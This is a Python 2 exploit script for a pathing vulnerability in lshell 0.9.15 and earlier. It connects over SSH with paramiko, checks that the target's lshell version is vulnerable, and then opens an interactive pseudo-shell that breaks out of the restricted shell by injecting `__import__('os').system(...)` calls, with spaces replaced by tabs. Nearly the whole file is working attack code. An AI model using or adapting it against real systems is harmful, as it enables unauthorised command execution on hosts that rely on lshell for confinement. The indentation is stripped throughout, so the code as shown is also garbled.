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import paramiko
import traceback
from time import sleep
#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#
if len(sys.argv) < 4:
print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
sys.exit(1)
try:
print '[!] .............................'
print '[!] lshell <= 0.9.15 remote shell.'
print '[!] note: you can also ssh in and execute \'/bin/bash\''
print '[!] .............................'
print '[!] Checking host %s...'%(sys.argv[3])
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if len(sys.argv) == 5:
ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
else:
ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
# verify lshell
channel = ssh.invoke_shell()
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
channel.send('help help\n')
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
if not 'lshell' in ret:
if 'forbidden' in ret:
print '[-] Looks like we can\'t execute SSH commands'
else:
print '[-] Environment is not lshell'
sys.exit(1)
# verify vulnerable version
channel.send('sudo\n')
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
if not 'Traceback' in ret:
print '[-] lshell version not vulnerable.'
sys.exit(1)
channel.close()
ssh.close()
# exec shell
print '[+] vulnerable lshell found, preparing pseudo-shell...'
if len(sys.argv) == 5:
ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
else:
ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
while True:
cmd = raw_input('$ ')
# breaks paramiko
if cmd[0] is '/':
print '[!] Running binaries won\'t work!'
continue
cmd = cmd.replace("'", r"\'")
cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
if len(cmd) > 1:
if 'quit' in cmd or 'exit' in cmd:
break
(stdin,stdout,stderr) = ssh.exec_command(cmd)
out = stdout.read()
print out.strip()
except paramiko.AuthenticationException:
print '[-] Authentication to %s failed.'%sys.argv[3]
except Exception, e:
print '[-] Error: ', e
print type(e)
traceback.print_exc(file=sys.stdout)
finally:
channel.close()
ssh.close()
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